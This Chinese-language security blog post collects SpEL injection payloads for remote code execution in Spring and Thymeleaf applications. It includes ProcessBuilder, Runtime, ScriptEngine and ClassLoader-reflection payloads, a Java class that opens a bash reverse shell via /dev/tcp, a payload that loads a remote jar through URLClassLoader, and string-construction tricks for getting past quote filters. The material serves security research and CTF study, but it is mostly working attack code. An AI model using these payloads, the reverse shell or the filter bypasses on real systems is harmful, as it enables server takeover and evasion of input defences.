前言
研究了一下SpEL注入RCE分析以及技巧,做了总结拿来分享一下,抛砖引玉。
SpEL注入基础
SpEL简介
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。
基本用法:
SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式
System.out.println( exp.getValue() );//取值,Hello World!
示例2:自定义注册加载变量的用法
public class Spel {
public String name = "何止";
public static void main(String[] args) {
Spel user = new Spel();
StandardEvaluationContext context=new StandardEvaluationContext();
context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量
SpelExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression expression = parser.parseExpression("#user.name");//解析表达式
System.out.println( expression.getValue(context).toString() );//取值,输出何止
}
}
了解了基本用法之后,我们可以通过创建实例,调用方法先构造几个rce的payload
会用到的语法
spel语法中的T()
操作符 , T()
操作符会返回一个object , 它可以帮助我们获取某个类的静态方法 , 用法T(全限定类名).方法名()
,后面会用得到
spel中的#
操作符可以用于标记对象
RCE第一部分
第一部分就是最基础的思路 : 新建实例 , 调用命令执行方法
01 : 调用ProcessBuilder
java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"};
ProcessBuilder p = new ProcessBuilder( str );
p.start();//打开计算器
spel中也可以使用new来构造,写法几乎一样,我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()";
ExpressionParser parser = new SpelExpressionParser();//创建解析器
Expression exp = parser.parseExpression(cmdStr);//解析表达式
System.out.println( exp.getValue() );//弹出计算器
当然java.lang包下的类无需使用全限定类名,故表达式可简化来bypass
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
02 : 调用RunTime
java调用,由于Runtime类使用了单例模式-饿汉式,需要调用Runtime的静态方法得到Runtime实例
Runtime rt = Runtime.getRuntime();//
rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
和上个用法略有不同解释在payload后给出
使用string参数 (java.lang包下的类不需要加全限定类名)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
字符串数组方法调用
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
解释: 由于RunTime类
使用了单例模式 ,获取对象的话不能直接通过构造方法获得,必须通过静态方法getRuntime
来获得 , 其源码可参考下图 , 调用静态方法的话需要使用SpEL的T()
操作符,T()
操作符会返回一个object.
03 : 调用ScriptEngine
从ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方法到这里,暂时没实验成功,测试成的师傅可以分享下).
获取所有js引擎信息
public static void main(String[] args) {
ScriptEngineManager manager = new ScriptEngineManager();
List<ScriptEngineFactory> factories = manager.getEngineFactories();
for (ScriptEngineFactory factory: factories){
System.out.printf(
"Name: %s%n" + "Version: %s%n" + "Language name: %s%n" +
"Language version: %s%n" +
"Extensions: %s%n" +
"Mime types: %s%n" +
"Names: %s%n",
factory.getEngineName(),
factory.getEngineVersion(),
factory.getLanguageName(),
factory.getLanguageVersion(),
factory.getExtensions(),
factory.getMimeTypes(),
factory.getNames()
);
}
}
Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
通过结果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:
ScriptEngineManager sem = new ScriptEngineManager();
ScriptEngine engine = sem.getEngineByName("nashorn");
System.out.println(engine.eval("2+1"));
那么payload也就显而易见
nashorn
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
javascript
new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
OK基础的第一部分到此结束
RCE第二部分
下面开始第二部分 , 思路 : 反射构造RCE ,下面反射中用到的类包括但不限于上述部分
首先简单介绍反射 :
JAVA反射机制是在运行状态中,对于任意一个类,都能够知道这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为java语言的反射机制
然后简单介绍ClassLoader :
JVM(java虚拟机) 拥有多种ClassLoader, 不同的 ClassLoader 会从不同的地方加载字节码文件, 加载方式可以通过不同的文件目录加载, 也可以从不同的 jar 文件加载,还包括使用网络服务地址来加载。几个重要的 ClassLoader : BootstrapClassLoader
、ExtensionClassLoader
和AppClassLoader
、UrlClassLoader
下面构造会用到AppClassLoader
和UrlClassLoader
04 : UrlClassLoader
URLClassLoader 可以加载远程类库和本地路径的类库
调用思路 : 远程加载class文件,通过函数调用或者静态代码块来调用
先构造一份Exp.jar , 放到远程vps即可
一份通过构造方法反弹shell的Exp.java实例
public class Exp{
public Exp(String address){
address = address.replace(":","/");
ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done");
try {
p.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
起一个http服务示例
python -m SimpleHTTPServer 8990
Payload
注意必须使用全限定类名 , 或许这个可以过一些bypass
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
05 : AppClassLoader
AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里定义的路径中的 jar 包和目录
由于双亲委派的存在,它可以加载到我们想要的类
使用的前提是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方法getSystemClassLoader
System.out.println(ClassLoader.getSystemClassLoader());
-
加载Runtime执行
由于需要调用到静态方法所以还是要用到
T()
操作T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
-
加载ProcessBuilder执行
T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()
06: 通过其他类获取AppClassLoader
这里我新开一个标题原因是在实际的web项目开发者会导入很多依赖的jar,或编写自定义类
实例1:
使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app
比如:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以得到一个获取AppClassLoader的方法 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自定义的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
类比较多,不过多叙述
07: 通过内置对象加载UrlClassLoader
这里在0c0c0f18年的一个文章学到了两个poc,部分截图如下
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf
request、response对象是web项目的常客,通过第一个poc测试发现在web项目如果引入了spel的依赖,那么这两个对象会自动被注册进去。
像这样,会发现它调用的是UrlClassLoader
第二个poc则是使用了this
关键字来加载也很是巧妙
也可以获取UrlClassLoader
08: 字符串 bypass
引号被过滤不可以直接使用字符串,这里提供三种构造字符串的方法
1.T(类名).getName()
会返回字符串类型的全限定类名
比如:[[${T(String).getName()}]]
结果为java.lang.String
然后我们就可以使用角标来构造我们想要的字符串
[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]]
#回显h3zh1
2.使用Character类构造字符串
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
3.外部可控字符绕过
通过web请求构造字符串,request有很多方法返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方法定制参数
post方法构造字符串
#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,51)%2b#request.getMethod().substring(0,1).replace(80,122)%2b#request.getMethod().substring(0,1).replace(80,104)%2b#request.getMethod().substring(0,1).replace(80,49)
get方法构造字符串
#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,51)%2b#request.getMethod().substring(0,1).replace(71,122)%2b#request.getMethod().substring(0,1).replace(71,104)%2b#request.getMethod().substring(0,1).replace(71,49)
外部的cookie绕过
[[${#request.getRequestedSessionId()}]]
参考 :
Ruilin 由浅入深SpEL表达式注入漏洞 : http://rui0.cn/archives/1043
EL : https://www.runoob.com/jsp/jsp-expression-language.html
SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#expressions
SpringSpel注入漏洞利用 : https://mp.weixin.qq.com/s?__biz=MzAwMzI0MTMwOQ==&idx=1&mid=2650174018&sn=94cd324370afc2024346f7c508ff77dd
DDCTF-2020-WEB-WriteUp : https://l3yx.github.io/2020/09/04/DDCTF-2020-WEB-WriteUp/